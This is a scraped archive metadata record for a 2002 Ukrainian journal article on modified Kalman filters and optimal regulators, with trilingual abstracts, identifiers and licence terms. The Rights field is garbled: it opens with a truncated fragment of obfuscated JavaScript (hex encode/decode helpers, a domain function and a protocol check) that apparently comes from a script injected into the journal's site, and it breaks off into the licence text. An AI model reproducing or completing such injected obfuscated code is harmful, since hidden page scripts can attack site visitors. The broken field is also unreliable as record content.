NAU Harvester System
Построение качественной оптимальных регуляторов и фильтра калмана
Наукові журнали Національного Авіаційного Університету
View Archive Info| Field | Value | |
| Title |
Построение качественной оптимальных регуляторов и фильтра калмана
CONSTRUCTION OF QUALITY OPTIMAL REGULATORS AND KALMAN FILTERS ПОБУДОВА ЯКІСНИХ ОПТИМАЛЬНИХ РЕГУЛЯТОРІВ І ФІЛЬТРІВ КАЛМАНА |
|
| Creator |
Антонов, В. К.; Національний авіаційний університет
|
|
| Subject |
—
— 62.50 — — 62.50 — — 62.50 |
|
| Description |
Предложена модификация метода оптимальной фильтрации Калмана, что обеспечивает возможность управления процессом фильтрации, максимальное быстродействие и ограничения колебательности. Сформулирован принцип циклического оператора достижения цели, которая заключается в многократном последовательном применении оператора достижения цели при использовании результатов его предыдущих приложений на примере задач приближения функций, управления, фильтрации.
A modification of the Kalman optimal filtration method is proposed, which provides the ability to control the filtration process, maximum speed and limitation of oscillations. The principle of the cyclic operator of achievement of the purpose consisting in repeated consecutive application of the operator of achievement of the purpose at use of results of its previous applications, on an example of problems of approximation of functions, management, filtering is formulated. Запропоновано модифікацію методу оптимальної фільтрації Калмана, що забезпечує можливість керування процесом фільтрації, максимальну швидкодію та обмеження коливальності. Сформульовано принцип циклічного оператора досягнення мети, що полягає в багаторазовому послідовному застосуванні оператора досягнення мети при використанні результатів його попередніх застосувань, на прикладі задач наближення функцій, керування, фільтрації. |
|
| Publisher |
National Aviation University
|
|
| Contributor |
—
— — |
|
| Date |
2021-03-15
|
|
| Type |
—
— — |
|
| Format |
application/pdf
application/pdf application/pdf |
|
| Identifier |
http://jrnl.nau.edu.ua/index.php/visnik/article/view/15211
10.18372/2306-1472.14.15211 |
|
| Source |
Proceedings of the National Aviation University; Том 14, № 3 (2002); 129-131
Вестник Национального авиационного университета; Том 14, № 3 (2002); 129-131 Вісник Національного Авіаційного Університету; Том 14, № 3 (2002); 129-131 |
|
| Language |
uk
|
|
| Rights |
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
Автори, які публікуються у цьому журналі, погоджуються з такими умовами:Автори залишають за собою право на авторство своєї роботи та передають журналу право першої публікації цієї роботи на умовах ліцензії Creative Commons Attribution License, котра дозволяє іншим особам вільно розповсюджувати опубліковану роботу з обов'язковим посиланням на авторів оригінальної роботи та першу публікацію роботи у цьому журналі.Автори мають право укладати самостійні додаткові угоди щодо неексклюзивного розповсюдження роботи у тому вигляді, в якому вона була опублікована цим журналом (наприклад, розміщувати роботу в електронному сховищі установи або публікувати у складі монографії), за умови збереження посилання на першу публікацію роботи у цьому журналі.Політика журналу дозволяє і заохочує розміщення авторами в мережі Інтернет (наприклад, у сховищах установ або на особистих веб-сайтах) рукопису роботи, як до подання цього рукопису до редакції, так і під час його редакційного опрацювання, оскільки це сприяє виникненню продуктивної наукової дискусії та позитивно позначається на оперативності та динаміці цитування опублікованої роботи (див. The Effect of Open Access). |
|